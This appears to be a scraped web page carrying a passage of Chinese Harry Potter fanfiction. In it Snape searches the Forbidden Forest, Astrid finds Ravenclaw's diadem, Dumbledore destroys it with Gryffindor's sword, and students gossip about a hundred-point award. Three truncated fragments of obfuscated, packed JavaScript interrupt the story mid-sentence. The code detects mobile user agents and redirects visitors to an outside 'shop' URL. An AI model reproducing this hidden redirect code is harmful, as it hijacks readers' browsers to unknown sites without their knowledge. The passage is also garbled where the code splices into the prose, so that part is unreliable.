之前住院那段时间没有机会探究的问题,此刻又浮上心头——她那天在禁林里究竟经历了什么?为什么回来之后就突然有了魔力?虽然那魔力微弱得可怜,但确实是存在的,是某种他从未见过的、无法用常理解释的存在。 于是,这天晚餐后,斯内普独自去了禁林。 十一月中旬的禁林,夜晚来得格外早。晚餐后不过七点,天色已经完全暗了下来,厚重的云层遮住了月亮和星星,整片森林笼罩在一片浓稠的黑暗里。斯内普在禁林边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334603|199227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缘给自己用了个幻身咒——他的身形逐渐变得透明,像是融化在夜色里——然后熟门熟路地按照那天追踪咒探测到的路线往深处走去。他给自己加了个盔甲护身,又举起魔杖轻声念道:“荧光闪烁。”杖尖亮起一团微弱的光,勉强照亮了脚下那片铺满落叶和枯枝的地面。 禁林深处万籁俱寂,只有风吹过树梢时发出的沙沙声,以及偶尔从远处传来的、不知名生物的窸窣响动。那些参天的古树在夜色中投下狰狞的阴影,虬结的枝干像无数只伸向天空的手臂;地上的落叶积了厚厚一层,踩上去软绵绵的,偶尔会有不知名的小东西从落叶底下窜过,惊起一阵悉索声。空气里弥漫着潮湿的泥土气息和某种腐烂植物的味道,冷得刺骨,每一次呼吸都能在眼前凝成一团白雾。 他走了将近一个小时。 当他终于站在那片空地上时,他警惕地环顾四周,魔杖举在胸前,随时准备应对任何可能的袭击。可周围什么都没有——没有异常的魔法波动,没有可疑的生物气息,甚至没有那天她采的那种蘑菇。那片空地光秃秃的,寸草不生,与周围茂密的植被形成鲜明对比,在荧光闪烁的微光下泛着一种诡异的灰白色。 这就是她那天逗留了很久的地方? 除去往返路程和她采蘑菇的时间,她就在这儿呆了将近两个小时?她在这儿做什么?打坐冥想吗?然后不知道哪个糊涂蛋回应了她的祈祷,就赏了她一点少得可怜的魔力? 斯内普冷着一张脸在那片空地上又转了一圈,同时用魔杖施展了好几种探测性的咒语——显形咒、追溯咒——可那些咒语反馈回来的结果只有一个:什么都没有。没有残留的魔法痕迹,没有异常的能量波动,没有她那天在这儿停留了两个小时的任何证据。 除了这片空地本身比较异常之外,其他最可疑的就是莫名其妙出现在这里的他自己了。 真是令人沮丧的发现。 斯内普在心里自嘲一笑,转身沿着来时的路往回走。路过一丛长得肥美的菌菇时,他脚步一顿,想起她那天用来当借口的那些蘑菇。他没好气地用魔杖指着那丛蘑菇,来了一发清水如泉,看着那些肥美的菌菇被浇得湿哒哒的,在荧光闪烁的光芒下可怜兮兮地耷拉下来。 他就站在那儿看了半天。 然后他又啧了一声,用了个快速烘干咒,把那些蘑菇重新烘干——虽然烘干的蘑菇看起来蔫头耷脑的,跟之前那副肥美模样相去甚远。做完这一切,他才收起魔杖,快步消失在夜色里。 与此同时,阿斯特丽德正在城堡八楼游荡。 她这几天总觉得自己像是幻听了似的,每当路过这一层时,就会听见一个要死不活的、即将断气一般的、阴恻恻的声音在她耳边絮叨。那声音时近时远,时强时弱,反复播放着那些令人不快的句子—— “你就是一个弱得可怜的笑话……” “你永远得不到西弗勒斯·斯内普的心,他喜欢的永远只有莉莉·伊万斯……” “看看你,你是如此弱小,莉莉·伊万斯又聪明又强大,你比不过她的……比不过她的……” “杀了莉莉·伊万斯……或者杀了西弗勒斯·斯内普……杀了那些嘲笑你的人……没有人可以轻视你……没有……” “放你爹的狗屁!”阿斯特丽德今天被那把臭扫帚鄙视了的火气,在又一次听到这个讨人厌的声音后,终于彻底爆发了。她站在空荡荡的走廊中央,对着空气怒目而视。 见鬼的真是什么玩意儿都能来教她做事了? 别以为她分不清那是跟黑魔印记同源的暗黑魔法——那股阴冷的、带着腐蚀性的魔法气息,她闭着眼睛都能认出来。她甚至还感知到了与萨拉查同源的魔法气息掺杂其中,那气息让她既困惑又愤怒。萨拉查做没做过这种“PUA小玩具”,她是不知道;但她怀疑这极有可能是那个头脑过于聪明、又热爱发明创造的汤姆小崽子做的。 于是,在这个憋屈了一周、终于爆发的日子里,阿斯特丽德决定找点事情做。 撒撒火。 34. 装死的魂片 31. 阿斯特丽德站在原地,闭上双眼,让自己沉浸在那股若有若无的气息里。它像一条若隐若现的丝线,从八楼的某个方向飘来,细细的,弱弱的,却始终没有断过。而除了那股阴冷的暗黑魔法气息之外,她还感知到了另一股更古老的气息——拉文克劳的冠冕。 这俩被关在一起吗? 她顺着那条丝线的指引往前走,脚步在空荡荡的走廊里发出轻微的声响。经过那幅巨怪棒打傻巴拿巴的挂毯时,她脚步微微一顿——那股气息在这里变得浓烈了些。她来回走了三趟,正琢磨着要不要换个方向,忽然听见一阵轻微的咔哒声从墙壁那边传来,紧接着,墙上凭空出现了一扇光滑的木门。 有求必应屋。 当初建造霍格沃茨的时候,她就看过那些图纸,也跟四位创始人一起讨论过无数次关于这间屋子的设计——它可以变成任何你需要的样子,但前提是你得知道它存在,并且有真正的需求。关于这个屋子,她当然是知道的。 阿斯特丽德推开门走进去,那扇门在她身后无声地合拢,隔绝了走廊里昏暗的光线。她站在一间巨大的、堆满杂物的房间里,借着门口透进来的微弱光芒打量着四周。那些杂物像小山一样堆得到处都是,破旧的家具东倒西歪地挤在一起,发霉的书籍从快要散架的书架上溢出来,落满灰尘的雕像在角落里投下狰狞的阴影,缺了腿的椅子、褪了色的挂毯、生锈的坩埚、还有各种各样她叫不出名字的稀奇古怪的东西,层层叠叠地堆满了每一个可以堆放的空间。整个房间弥漫着一股陈旧、腐朽的气息,像是几个世纪的垃圾都被倾倒在了这里。 而那股阴冷的、带着腐蚀性的暗黑魔法气息,正从那堆杂物的深处传来。 阿斯特丽德绕过几座杂物山,小心翼翼地避开那些随时可能倒塌的摇摇欲坠的堆叠物,终于在一张破旧得快要散架的桌子上看到了一顶锈迹斑斑的冠冕。她走近几步,借着昏暗的光线仔细打量着那顶冠冕——鹰神的标志依稀可辨,那是拉文克劳的象征,但整顶冠冕已经被岁月侵蚀得面目全非,上面沾满了污垢和锈迹。而那股阴冷的暗黑魔法气息,正从冠冕里源源不断地散发出来,像某种病态的呼吸。 “哦……”阿斯特丽德拖长了调子,语气里带着一种微妙的恍然,“你拿着她的东西做过文章吧?小汤姆。” 冠冕沉默了一会儿。 然后那个要死不活的、阴恻恻的声音再次响起,这一次更清晰了,显然正在试图钻进她的思维深处:“你……知道我?你是谁?” “你祖宗。”阿斯特丽德在那张破桌子旁边找了张还算完整的椅子,那椅子虽然缺了一条腿,但靠着墙勉强还能坐人。她一屁股坐了下来,翘起二郎腿,姿态悠闲得仿若来喝下午茶的贵妇,“而你这个小崽子——哦,虽然是残缺的——却哪壶不开提哪壶,专挑我不爱听的话说。所以,我现在要弄死你。” 冠冕里传出一声阴恻恻的嗤笑,充满了毫不掩饰的轻蔑和不屑,像是听到了什么天大的笑话:“弄死我?就凭你?一个弱小的废物?” 阿斯特丽德微微歪了歪头,露出一副琢磨的神情,好像在认真考虑他的问题:“你说得对,我现在确实是个废物。弄死你,靠硬拼是不行的。”她站起身来,拍了拍校袍,“所以我打算换一种方式。” 她走到那堆杂物旁边,开始翻找起来。 冠冕里的魂片被她这莫名其妙的举动搞糊涂了——它原本以为她会愤怒恐惧,然后用那点可怜兮兮的魔力攻击它,最后被它轻松戏弄。可她没有,她就在那儿翻翻找找,嘴里还念念有词:“这个……太脆了,不行……”阿斯特丽德把一只破旧的银烛台扔到一边,“这个太钝了……啧,谁把这么恶心的东西也藏这儿了……”她又把一团黑乎乎的东西拨开,继续往里翻,“斧头呢?这么大个杂物间,连把像样的斧头都没有?”魂片终于忍不住开口了,声音里带着困惑和被忽视的不悦:“你在干什么?” “找工具。”阿斯特丽德头也不回,继续在那堆杂物里翻腾,偶尔传来一阵叮叮当当的碰撞声,“弄死你的工具。” 魂片发出一阵刺耳的笑声,充斥着浓浓的嘲讽和不屑,像是听到了什么极其滑稽的言论:“你以为用麻瓜那些破烂玩意儿能伤到我?我是永恒的。我是伟大的伏地魔的一部分,是超越生死的存在。” 阿斯特丽德停下翻找的动作,转过头来看着那顶锈迹斑斑的冠冕:“我知道,是得用点儿特殊的办法。” 她当然知道不能用普通的物理手段销毁冠冕——这片灵魂显然可以寄生,如果冠冕损毁,逼得它不得不逃逸出来,到时候附着在某个倒霉的学生身上就不好办了。不如先让它在冠冕里老实待着,至少它显然更喜欢这个高级的寄生载体,否则这个杂货间进进出出那么多人,堆放了那么多东西,它大可以换个更隐蔽的容器。它既然选择了留在这儿,说明它对拉文克劳的冠冕有着某种执念。 她忽然想到格兰芬多的宝剑——那把剑曾经斩杀过很多恶灵,用来对付这个东西,应该也可以。姑且试试,实在不行就丢给邓布利多解决,他肯定比她有办法得多。 于是她从那一堆杂物里翻出一块还算干净的破布,用那块破布包住手,小心翼翼地捧起冠冕。她立即感觉到一股令人不适的阴冷感,像是握住了一截溺死在深井里的枯骨。 “很久没逛过霍格沃茨了吧?”阿斯特丽德捧着那冠冕,语气轻松,“我带你转转,咱们故地重游,一起重拾青春。” 阿斯特丽德捧着冠冕穿过八楼走廊,一路往阶梯下走去。冠冕在她手里冰凉刺骨,阴冷的气息时不时颤动一下,像是在试探什么。 走到楼梯拐角时,那个阴恻恻的声音又响起来了,这一次带着警惕和困惑:“你要带我去哪儿?” 阿斯特丽德脚步不停,语气随意:“带你故地重游,顺便请你喝杯饮料。” “……我怎么喝?”魂片的声音里透着一股荒谬的困惑。 阿斯特丽德低头扫了它一眼,目光意味深长:“到了你就知道了。” 魂片沉默须臾,那股阴冷的气息又开始不安地波动起来。 走到第五层的时候,它又开口了:“这不是去拉文克劳塔楼的方向。” “嗯。” “也不是去斯莱特林地窖的方向。” “对。” “这是——” “再猜。”阿斯特丽德打断它,“猜对了有奖励。” 阿斯特丽德脚步不停,捧着那顶冠冕穿过走廊,经过几幅已经睡着的画像,七拐八绕地来到费尔奇的办公室门口。 这个时间,那位哑炮管理员正带着洛丽丝夫人从禁林边缘开始巡逻,一路巡视回城堡,至少一个小时之内不会回来。鉴于他跟她一样没什么魔力——甚至还不如她,好歹她现在能让羽毛笔抖两下——他的门锁对她这个从小在蜘蛛尾巷摸爬滚打的前麻瓜来说,形同虚设。 几分钟后,阿斯特丽德已经站在办公室的壁炉前,一手捧着那顶安静得可疑的冠冕,一手抓着飞路粉。 她当然不会端着冠冕直接走去校长办公室——万一魂片狗急跳墙,逃之夭夭,那可就麻烦了。 还是壁炉靠谱。 她把飞路粉往脚下用力一撒,在那团腾起的绿色火焰中清晰地念道:“校长办公室!” 绿焰吞没她的瞬间,她清楚地感觉到手里那顶冠冕猛地颤动了一下。那股阴冷的气息像是终于意识到大事不妙,开始疯狂地挣扎起来。 可惜已经晚了。 校长室内,壁炉里的火焰噼啪作响,把整个房间染成一片温暖的金色。邓布利多坐在巨大的书桌后面,盯着桌上那顶锈迹斑斑的冠冕,蓝眼睛透过半月形眼镜看过来,眉头微微蹙起,脸上惯常的慈祥笑容消失不见,取而代之的是罕见的凝重。显然他也是刚刚才知道,汤姆·里德尔居然在学生时代就捣鼓出了这种东西。 “你从有求必应屋找到它的?”他抬起眼看向阿斯特丽德,语气微妙得让人捉摸不透。 “是的,估计是他顺手藏那儿了。”阿斯特丽德瞥了一眼桌上那顶正在装死偷听的冠冕。她能感觉到那股阴冷的气息还在,只是此刻收敛了许多,像努力假装自己不存在。她又提出另一个疑问,“不过话说回来,那里面都快被堆成杂货间了,显然知道有求必应屋存在的人不少。您就没考虑过安排教职工定期检查清理什么的吗?麻瓜学校或者街区都这么干,隔段时间就组织大扫除,清理杂物,检查安全隐患。” 果然巫师还是太懒了,连这点基础管理意识都没有。 邓布利多的眉毛微微抬起,明显有些意外:“很有参考价值的提议,杜兰特小姐。”他语气温和地说,目光又在冠冕上停留了片刻,“我会着手安排的。” 的确,放任一个魂片留在学校许多年,这太危险了。 “不过我想着,”阿斯特丽德拖长了调子:“既然来都来了,不如请它喝杯饮料再走。” 邓布利多微微挑眉,蓝眼睛里闪过笑意,然后轻轻挥了挥魔杖。 几杯饮料凭空出现在桌面上,一字排开。最左边是一杯冒着细腻泡沫的黄油啤酒,金黄色的液体上浮着一层奶白色的泡沫,散发着诱人的甜香。旁边是一杯深棕色的热可可,表面漂浮着几颗迷你棉花糖,正在热气里慢慢融化。再过来是一杯淡金色的南瓜汁,杯沿还挂着一圈细细的糖霜,看起来就很清爽。第四杯是色泽幽暗的紫罗兰色饮品,杯底沉着几颗闪闪发亮的银星,不知道是什么东西。最后一杯是琥珀色的蜂蜜酒,杯壁上挂着细密的水珠,酒体通透得像是融化的蜂蜜。 邓布利多放下魔杖,看向那顶正在装死的冠冕,用一种“招待远道而来的客人”般的口吻,温和地说:“不知道这位……呃……‘朋友’喜欢喝什么?”他的目光从那些杯子上依次扫过,“黄油啤酒,霍格莫德的招牌,温和微甜,适合大多数口味。热可可,暖身暖胃,我本人的心头好之一。南瓜汁,清爽解腻,年轻人们都喜欢。星光紫罗兰露,拉文克劳公共休息室的特色饮品,那位夫人亲自调制的配方,味道嘛……比较有辨识度。”他最后看向那杯琥珀色的液体,嘴角的笑意更深了些,“蜂蜜酒,罗斯默塔女士的珍藏,口感醇厚,后劲绵长。” 冠冕安静地躺在桌面上,一动不动。那股阴冷的气息彻底收敛起来,像是从来没存在过一样。它当然不敢让邓布利多发现自己的存在——一个魂片,哪怕再嚣张,也知道自己现在打不过他。它只能装死,装作自己只是一顶普普通通的、锈迹斑斑的、没有任何问题的破冠冕。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334604|199227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 阿斯特丽德盯着那顶破冠冕看了看,然后拿起那杯星光紫罗兰露。“这杯颜色和它比较搭。”她语气认真:“紫罗兰色,忧郁、神秘,很符合这位‘朋友’的气质。” 邓布利多认真地点了点头,眼里满是赞同:“很有道理。色彩心理学确实是一门值得研究的学问。” 阿斯特丽德用破布捏着那顶冠冕——那股阴冷的气息微微颤抖了一下,像是发自本能的抗拒——然后毫不客气地把它扔进了那杯星光紫罗兰露里。 “噗通”一声,冠冕斜插着泡入广口杯底,溅起几滴紫色的液体落在桌面上。 它静静地斜立在杯壁上,锈迹斑斑的表面被紫色的液体浸透,那些细密的气泡从冠冕的缝隙里冒出来,一串一串地往上飘,像是某个溺水者在做最后的挣扎。那股阴冷的气息在液体里疯狂地颤动了几下,然后——彻底安静了。 装死装到底。 阿斯特丽德满意地点点头,然后伸手去拿那杯看起来最诱人的黄油啤酒。 邓布利多用魔杖轻轻敲了敲桌面,那杯黄油啤酒往旁边挪了挪,刚好离开她指尖的范围。 “未成年。”他温和地说,眼里满是慈祥的笑意,“杜兰特小姐,你还没到可以合法饮用含酒精饮料的年纪。校规就是校规。” 阿斯特丽德的手僵在半空中,表情非常郁闷。她看了看被挪走的黄油啤酒,目光依次扫过剩下几杯,最后拿起了热可可。 杯壁温热,正好暖手。她捧起杯子喝了一口,绵密的棉花糖在舌尖化开,甜丝丝的,带着暖融融的香气。 ……行吧,也还行。 她抬起头,正对上邓布利多促狭的眼神。那老头笑呵呵的,一脸“我就知道你会选这个”的慈祥。 阿斯特丽德懒得跟他计较,目光落回桌面——那杯星光紫罗兰露里,冠冕依旧一动不动。紫色的液体已经完全浸透了它的缝隙,偶尔有一两个细密的气泡从某个看不见的角落里冒出来,晃晃悠悠地飘到液面上,啪地碎开。 它在装死,而且装得很敬业。 阿斯特丽德盯着那顶冠冕,心里忽然冒出一个念头:刚才那一路上,它那副惊恐挣扎的样子,到底是真怕,还是演给她看的?如果它真的那么怕被带到校长面前,为什么不干脆早一点从冠冕里窜出来,找个更隐蔽的地方躲起来? 除非—— 它出不来。 或者说,它被某样约束困在那顶冠冕里了。亦或是,它需要某些特殊养料,才能帮助自己脱离冠冕。 阿斯特丽德又喝了一口热可可,目光从那杯紫罗兰露移到邓布利多脸上。 当务之急,还是解决这个又怂又贱的魂片。 怎么解决呢? 邓布利多从她脸上读出这个问题。他放下手中的杯子,步伐从容地走向角落里的玻璃柜,从分院帽皱巴巴的帽檐里抽出一柄被保养得很好的长剑——剑身闪着银光,剑柄上镶嵌着红宝石,正是戈德里克·格兰芬多的遗物。 ……合着他只操心他自己学院的圣物?别的学院的圣物他是一点不上心呗? 好歹凑齐了摆在校长办公室嘛,这样其他学校来访时,他也能涨涨面子,彰显一下霍格沃茨的历史底蕴。啧,一点都不会搞形式主义和政绩工程。 吐槽归吐槽,阿斯特丽德期待地看着邓布利多举起那柄宝剑,剑尖对准桌上的冠冕。壁炉的火光在剑身上跳跃,把那柄剑映得金光闪闪,像被注入了神圣的力量。 那个阴恻恻的声音终于再次响起,这一次带着明显的恐惧和惊慌,不再有之前的傲慢和不屑:“不能……你不能……邓不——” 宝剑稳稳当当地落在冠冕身上。 伴随着当的一声脆响,整个办公室里瞬间充斥着凄厉的哀嚎,尖锐刺耳,像是无数只蝙蝠同时发出尖叫。一股不祥的黑烟随之从裂开的冠冕里升腾起来,在半空中扭曲着、挣扎着,然后很快消散在空气里,一丝痕迹也没留下。 邓布利多放下宝剑,眼神重新变得温和起来,脸上又浮现出惯常的慈和笑容。他看了看那顶已经彻底碎裂的冠冕,又看向站在一旁的阿斯特丽德,带着宣布好消息般的愉悦,语气轻快地开口:“鉴于你的勇敢机智和出色表现,格兰芬多加一百分,杜兰特小姐。” 阿斯特丽德:“……” 她瞪着邓布利多,脸上写满了无语和荒谬。她还没来得及说什么,某句脏话已经脱口而出,短促有力,精准地表达了她此刻的全部心情:“艹。” 一种植物,是的。 邓布利多笑呵呵的,笑容慈祥得像是在看自家调皮捣蛋的孙女,完全没有因为那个字而有任何不悦。他收起宝剑放回玻璃柜,又看了看窗外已经完全暗下来的天色,用一种体贴得近乎揶揄的语气开口:“快宵禁了,杜兰特小姐,我建议你结束今晚的冒险之旅,回宿舍好好睡一觉。我得提醒你,充足的睡眠对增长魔力有好处——尤其是对那些正在努力提升自己的年轻巫师来说。” 阿斯特丽德敢说,邓布利多是故意加上那一句的,别以为她听不出来那是揶揄——他分明是在调侃她那点可怜兮兮的魔力,用这种方式告诉她“别急,慢慢来”。 她最终还是老老实实地欠了欠身,捧着自己那杯热可可,离开了校长办公室。 35. 你偷窥我隐私 32. 从校长办公室回格兰芬多公共休息室的路上,阿斯特丽德一边沿着那些变幻莫测的楼梯往上走,一边在脑海里琢磨着那些悬而未决的问题——别的学院圣物都在哪里?拉文克劳的冠冕已经毁了,那赫奇帕奇的金杯呢?斯莱特林的挂坠盒呢?它们是不是也落到了伏地魔手里,被他做成了魂器?毕竟,单品不如一整套来的有排面嘛。 而另一个问题更让她在意——斯内普成为校长后,在那个深夜带着格兰芬多宝剑匆匆离开,是为了什么?是为了献给伏地魔吗?因为伏地魔担心自己的魂片被销毁,所以要将格兰芬多宝剑控制在自己身边。还是因为他单纯想收集学院圣物?如果是前者,那说明斯内普的确对伏地魔忠心耿耿,可这样一来,伏地魔最后杀掉斯内普的举动就更加奇怪了——一个已经取代邓布利多成为校长的食死徒,算得上是一人之下的超然地位吧?就这么杀了不可惜吗?可那个引人探究的原因,她却总是猜不到,连个方向都没有。 那么如果是后者呢? 热爱发明创造的小汤姆身世坎坷,一路走来颇为不易。如今权势在握,恐怕很难忍住对各种美好人事物的占有和享受——人性如此,他惧怕死亡,并为此做出超乎寻常的努力,总不能是为了在人世间清修吃苦吧?收集那些代表着霍格沃茨创始人的遗物,把它们变成自己永恒的一部分,这确实符合他偏执的性格。 阿斯特丽德叹了口气,这些问题像一尾尾滑不留手的银鱼,在她脑海深处游弋穿梭,偶尔跃出水面闪一下光,待要伸手去捞,却又倏忽间消失在幽暗的水底。 与此同时,遥远的马尔福庄园里,壁炉中的火焰在巨大的大理石壁龛里跳跃着,将整个书房映照得忽明忽暗。伏地魔站在那张雕刻着繁复花纹的红木书桌前,修长苍白的手指轻轻抚过桌上一个打开的天鹅绒盒子,盒子里静静躺着一只做工精致的金杯——赫奇帕奇的金杯,杯身上雕刻着那只象征着勤劳诚实的獾,在火光下泛着温润的光泽。他的面容英俊得近乎邪异,一双猩红色的眼睛如同凝固的血泊,幽深而空洞,看人时像在打量一件死物。黑色的头发整齐地向后梳着,越发衬得那张苍白的脸轮廓锋利如刃,每一个线条都透着冰冷的锐意, 书房里只点了几根黑色的蜡烛,昏暗的光线在那些厚重的锦缎窗帘和古老的书脊上投下摇曳的阴影。伏地魔站在那片阴影里,像是一条盘踞在黑暗中的巨蛇。 几位食死徒刚刚退下,书房里只剩下他和贝拉特里克斯。他的目光从金杯上移开,落在那张狂热地仰望着他的脸上。 他修长的手指点了点那个装着金杯的盒子:“把这个金杯锁进你在古灵阁的金库里。不要告诉任何人,包括你的丈夫。这是我对你的信任,贝拉——不要让我失望。” 贝拉特里克斯的呼吸都变得急促起来,眼睛里燃烧着近乎疯狂的虔诚和狂热。她恭敬地深深欠身,双手颤抖着捧过那个盒子,像是捧着世间最神圣的圣物,声音因为激动而微微发颤:“我的主人……这是无上的荣耀!我发誓,我会用生命守护它,没有人能从我手中夺走它,除非踏过我的尸体!”她抬起头,脸上满是病态的激动,“主人把它交给我,是对我最大的信任,我绝不会辜负这份信任——绝不会像那些没用的废物一样让主人失望!” 伏地魔微微点了点头,眼神在金杯停留了片刻,然后摆了摆手。贝拉特里克斯再次深深欠身,捧着那个盒子倒退着走出书房,每一步都充满了虔诚,直到门在她身后轻轻关上。 书房里重新陷入寂静。 伏地魔站在书桌前,猩红色的眼睛望着那扇合拢的门,平静的表情逐渐被一层阴翳覆盖。今晚,他忽然感觉到来自灵魂深处的嘶吼与痛苦——像是有一部分自我从他存在的根基上被生生剥离,又像是某根维系着他与永恒之间脆弱的线骤然绷断。那昭示着某个魂片的消亡。 这是他所不能忍受的。 他缓缓转过身,目光落在书桌的抽屉上。他从里面取出一个陈旧的日记本,封面已经有些磨损,边角微微卷起,那是他学生时代就开始使用的日记本。他的手指轻轻摩挲着熟悉的封皮,面上浮现出愤怒与警惕,还有深深的思索。 这个魂器又该放到哪里去呢? 交给卢修斯保管吗? 他对于马尔福家一贯以来的骑墙作风深有了解——那些人永远在两边下注,永远给自己留好后路,以便在最关键的时刻缩回去。但他们这样做能带来利益和财富,而他需要马尔福家的财富来支撑他的事业,所以他睁一只眼闭一只眼,允许他们保留那些小聪明。可如果要把这么重要的东西交给卢修斯保管,他还是有些不放心。这位新上任的马尔福家主挣钱和提供经济支持是一把好手,做事就不太靠谱了。 他需要另选一个更严谨、更可靠的人来保管这件珍贵的东西。 在那之前,还是放在身边最妥当。 伏地魔将日记本重新放回抽屉,指尖在冰凉的木质表面停留了片刻,猩红色的眼睛在昏暗中闪着幽冷的光。 他必须查清楚,是谁做的,然后让那个人付出代价。 第二天一早,霍格沃茨礼堂里的嗡嗡声就没断过。那些悬浮的蜡烛依旧在长桌上空摇曳,金色的餐盘里堆满了热腾腾的早餐,但几乎没有人把注意力放在食物上——所有人的目光都聚集在礼堂一端那个巨大的宝石沙漏上。格兰芬多的宝石堆里,红色的宝石比昨天晚上多了一大截,像被人施了膨胀咒似的,鼓鼓囊囊地堆在那儿。 “梅林的胡子——格兰芬多加了一百分?” “一百分?谁干的?波特和布莱克把斯莱特林全体石化了吗?” “别逗了,他俩加起来不被扣分就谢天谢地了。” “那会是谁?什么大事值一百分?拯救了霍格沃茨?” 几个拉文克劳凑在一起嘀嘀咕咕,赫奇帕奇们则伸长脖子往格兰芬多长桌那边张望,试图从那些红光满面的狮子脸上看出点端倪。斯莱特林那边则是一片诡异的沉默,几个高年级的脸色难看得像是刚吞了一整颗活的蜷翼纹蛇。 “肯定是詹姆!”一个格兰芬多的男生笃定地说,“除了他还有谁能一次性加这么多分?” 旁边的女生白了他一眼:“詹姆上周才因为夜游被扣了二十分,你觉得麦格教授会给他加一百?” 阿斯特丽德背着书包从入口走进礼堂时,脚步忽然一顿——她的目光落在宝石沙漏上,看着格兰芬多那一堆明显高出一截的红色宝石,整个人僵了一下。随即她飞快地低下头,做贼心虚地绕过那堆正围着沙漏议论纷纷的人群,匆匆往格兰芬多长桌的方向溜去。 她刚在艾丽斯身边坐下,就听见那三人正兴奋地讨论着格兰芬多的加分事件。 “一百分!我还没见过一次性加这么多分的!”玛丽的眼睛亮得惊人,手里拿着一片吐司都忘了吃,“到底是谁干的?怎么一点风声都没有?” 艾丽斯也满脸好奇,眼睛在长桌上扫来扫去,好像在寻找那位神秘的加分英雄:“麦格教授昨晚也没提到这件事,我今天早上问了好几个人,都说不知道。” 莉莉若有所思地喝了一口南瓜汁:“能做到一次性加一百分的,肯定不是什么小事。我猜那个人做了足以影响整个学校的事。是发现了什么隐患?还是解决了什么麻烦?” 艾丽斯一扭头看到阿斯特丽德正埋头啃着一片烤面包,便把她也拉进了讨论:“阿斯塔,你觉得呢?会是谁干的?” 阿斯特丽德咬着面包抬起头,干巴巴地笑了一下:“可能……是某个倒霉蛋不小心走错了路,撞见了不该撞见的东西,然后被校长抓去当壮丁,最后稀里糊涂地被塞了一百分。” 艾丽斯眨眨眼:“听起来好复杂。” “复杂就对了。”阿斯特丽德又咬了一口面包。 斯内普此时正从礼堂入口走向斯莱特林长桌,黑色的校袍在身后微微飘动。经过那堆围着宝石沙漏的人群时,他自然也注意到了那堆多得扎眼的红宝石。 他的目光往格兰芬多长桌那边瞥了一眼,速度快到没有人会注意他在看什么,然后他收回视线,在斯莱特林长桌靠中间的位置坐了下来,拿起一片吐司,慢条斯理地涂着果酱。 穆尔塞伯和埃弗里也在讨论格兰芬多的加分事件,两人的声音压得很低,但语气里的困惑和不爽清晰可辨。 “一百分,他们是不是把一整年的运气都用光了?”埃弗里嘀咕着,用叉子戳着盘子里的煎蛋。 穆尔塞伯冷哼一声:“肯定是走了什么狗屎运——说不定是哪个格兰芬多的小鬼头误打误撞找到了什么失踪几百年的宝贝。” 斯内普不咸不淡地开口,语气慢悠悠的:“也许某个格兰芬多终于学会了如何使用大脑,校长为了鼓励这难得的进步,慷慨地奖励了一百分。虽然按照这个逻辑,全校格兰芬多加起来应该倒扣五百分。” 埃弗里愣了一下,然后忍不住笑出声来。 斯内普垂下眼皮,继续切割盘中那块煎得恰到好处的香肠。他的追踪咒昨晚显示了一连串有趣的轨迹:阿斯特丽德在宵禁前先去了费尔奇的办公室——再瞬间出现在校长办公室——然后逗留了很长一段时间,最后才慢悠悠地晃回格兰芬多塔楼。若说加分没有她的原因,他才不信。 早餐的人流陆续散去,学生们三三两两地往各自的教室走去。阿斯特丽德拐向通往地窖的那条走廊,准备去上一年级魔药课。 在经过一处盔甲时,她看到了斯内普。 他站在那儿,背靠着墙壁,手里捏着一张卷起来的羊皮纸,显然是在等她。阿斯特丽德眼睛一亮,笑眯眯地迎上去,从他手里接过那张自己前两天拜托他帮忙修改的魔药课论文。 “哦,谢谢,真及时!”她一边说着,一边低头查看那张羊皮纸上的修改意见。那些意见密密麻麻地写满了页边空白,有的地方用箭头标出,有的地方用括号圈起,每一个批注都精准地指出了问题所在——这里逻辑不通顺,那里论证不充分,这个术语用得不对,那个步骤有遗漏。甚至还补充了对某些药效原理的深入解释。那些字迹工整严谨,用语简洁明了,没有半个多余的词。 阿斯特丽德一条一条看过去,忍不住在心里感叹:这人要是当教授,绝对是非常认真严苛的那一类。 她扬起手里的羊皮纸,语气里带着真诚的感激和熟悉的戏谑:“感谢伟大心善的巫师先生,我会好好誊抄一遍的。” 斯内普微微挑起一边眉毛,语气慢悠悠的:“能为格兰芬多的无名英雄效劳,是我的荣幸。相信此人很快就能成为格兰芬多的明日之星——如果她继续保持着这种惊人的发展速度的话。”他用下巴朝礼堂方向示意了一下,那个方向正是记分沙漏所在的位置,语气拖得更长了,“不过我很好奇,一百分。究竟是怎样的伟大壮举,能够让校长给她加一百分?是拯救了一只被困在墙缝里的家养小精灵,还是发现了霍格沃茨某个尘封千年的秘密?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334605|199227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 阿斯特丽德当即摆出一副无辜的表情,真挚得可以拿去做麻瓜慈善广告的封面:“怎么可能?我只是一介弱小可怜又无助的一年级摔炮,我能做什么呢?我不被扣分就谢天谢地了,还加分?” 